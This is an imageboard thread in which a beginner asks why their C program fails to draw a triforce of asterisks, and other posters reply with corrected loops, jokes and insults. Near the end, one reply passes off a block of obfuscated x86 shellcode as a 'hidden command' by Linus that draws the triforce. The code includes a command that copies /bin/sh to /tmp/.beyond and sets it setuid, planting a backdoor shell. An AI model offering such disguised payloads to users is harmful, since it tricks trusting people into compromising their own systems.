What is wrong with my program? Can somebody help?

What is wrong with my program? Can somebody help?
#include
int count = 8;
int main() {
for(int tri_count = 1; tri_count < 3; tri_count++) {
for(int i = 1; i < count; i++) {

for(int tc = 0; tc < tri_count; tc++) {

for(int sp_count = count; sp_count > i; sp_count--){
printf(" ");
}
for(int str_count = 0; str_count < i; str_count++) {
printf("*");
}
for(int str_count = 0; str_count < i; str_count++) {
printf("*");
}
for(int sp_count = count; sp_count > i; sp_count--){
printf(" ");
}
}
printf("\n");
}
}
}

Attached: screenshot.png (263x196, 616)

Other urls found in this thread:

pastebin.com/Re1AJ3mX
pastebin.com/1S8GENjX
twitter.com/AnonBabble

install gentoo

FUCK YOU REEEE

Attached: screenshot.png (323x194, 687)

>itt newfags
HI FIENDS!

Hello friend!

Kindly refer to my solution posted below.

Have a nice day!

#include
int main(void)
{
printf("\
*\n\
***\n\
*****\n\
*******\n\
*********\n\
* *\n\
*** ***\n\
***** *****\n\
******* *******\n\
********* *********\n\
");
}

the code should work
post output?

the output is the screenshot

haha very nice mr troll

nvm figured it out.

Attached: .png (258x256, 72K)

your code looks like shit

maybe the printf("\n") should be inside the innermost nested loop

Lol OP can't triforce.

fuck you for making me waste my time

Attached: 1528937639381.png (398x314, 5K)

Don't necro threads. Use the search function. This user already found the answer

wow! :o

I would recommend using a big 2-d array and drawing the triangle in memory, that makes it easier to place where wanted.

After everything is placed in memory and extra spaces at end removed, then you can output scanline by scanline.

new fags cant tri-force

#include
int count = 8;
int main() {
for(int tri_count = 1; tri_count < 3; tri_count++) {
for(int i = 1; i < count; i++) {

for(int tc = 0; tc < tri_count; tc++) {
int vcount = count;
if (tri_count % 2 != 0)
vcount = count * 2 + 1;
for(int sp_count = count; sp_count > i; sp_count--){
printf(" ");
}
for(int str_count = 0; str_count < i; str_count++) {
printf("*");
}
for(int str_count = 0; str_count < i; str_count++) {
printf("*");
}
for(int sp_count = count; sp_count > i; sp_count--){
printf(" ");
}
}
printf("\n");
}
}
}
There you go OP. That should work.

#include
int count = 8;
int main() {
for(int tri_count = 1; tri_count < 3; tri_count++) {
for(int i = 1; i < count; i++) {

for(int tc = 0; tc < tri_count; tc++) {
int vcount = count;
if (tri_count % 2 != 0)
vcount = count * 2 + 1;
for(int sp_count = vcount; sp_count > i; sp_count--){
printf(" ");
}
for(int str_count = 0; str_count < i; str_count++) {
printf("*");
}
for(int str_count = 0; str_count < i; str_count++) {
printf("*");
}
for(int sp_count = vcount; sp_count > i; sp_count--){
printf(" ");
}
}
printf("\n");
}
}
}
I didn't update a couple of variables.

gay

i tried it too, kept making boneheaded mistakes for a long time

pastebin.com/Re1AJ3mX

Sorry! line 44 should have been:
if(i < n) streak(' ', H-h);

The bad code has extra spaces at the end of most lines.

Here's my own attempt at it pastebin.com/1S8GENjX

user, help me.
What book should you recommend to learn C++?
Bjarne?
Prata?
Lipman?
Eckel?
Deitel?

install gentoo

gentoo guy, install LFS!

Hello, friend!!
Linus is a known ex-lurker on Jow Forums, so he implemented a hidden command that draws a triforce on its own, no need to try doing it yourself! Just type the following:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

hilarious

['ë>[1ÀPTZ\x83ìdh', 'ÿÿÿÿhßÐßÙh\x8d\x99', 'ß\x81h\x8d\x92ßÒT^÷\x16÷', 'V\x04÷V\x08÷V\x0c\x83ÄtV', '\x8ds\x08VSTY°\x0bÍ\x801', 'À@ëùè½ÿÿÿ/bi', 'n/sh\x00-c\x00']